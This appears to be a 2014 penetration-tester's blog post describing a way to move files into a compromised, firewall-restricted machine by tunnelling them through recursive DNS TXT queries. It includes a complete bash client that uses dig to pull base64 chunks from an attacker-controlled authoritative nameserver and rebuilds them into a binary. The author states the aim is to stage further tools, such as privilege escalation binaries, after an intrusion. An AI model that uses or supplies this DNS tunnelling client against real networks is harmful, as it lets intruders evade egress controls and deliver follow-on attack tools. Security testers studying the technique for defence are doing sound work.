Thursday, March 20, 2014

I often run into networks with extremely restricted outbound firewall rules. Usually outbound traffic is whitelisted to a small number of hosts. The scenario here is that you've somehow gained access to a machine on such a network and you need a way to transfer tools/data to this machine.

In these scenarios where you've got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you're in luck. I find this is almost always the case.

For those who may be unfamiliar with this technique the scenario looks something like this:

There are a number of existing tools to do this (dnscat, iodine...) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!

So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).

The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:

So we have a server spitting out chunks of a base64 encoded binary in response to sequential TXT record requests. A simple client written in bash can automate the process of pulling and re-assembling the file:

#!/bin/bash

error=';; connection timed out; no servers could be reached'

i=0

echo ''> output.b64

while :

do

RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`

if [ "$RESP" = "$error" ];

then

echo "Timeout - done"

break

fi

echo -ne $RESP >> output.b64

echo $RESP

i=$((i+1))

done

cat output.b64 | base64 -d > output

Notice in the above script we don't use "dig @localhost" anymore - the request goes through some DNS servers on the Internet and eventually makes it to our "server.py" file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.

Sample Usage:

Configure your server where you will run server.py to be the authoritative nameserver for a subdomain (e.g: dns.testdomain.com). Do this with the registrar where you've registered testdomain.com.

On the server, run sudo ./server.py -f someFile

On the client, run ./client.sh dns.testdomain.com

At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.

To do:

This should be trivial to implement in powershell for Windows hosts as well. Would be very useful.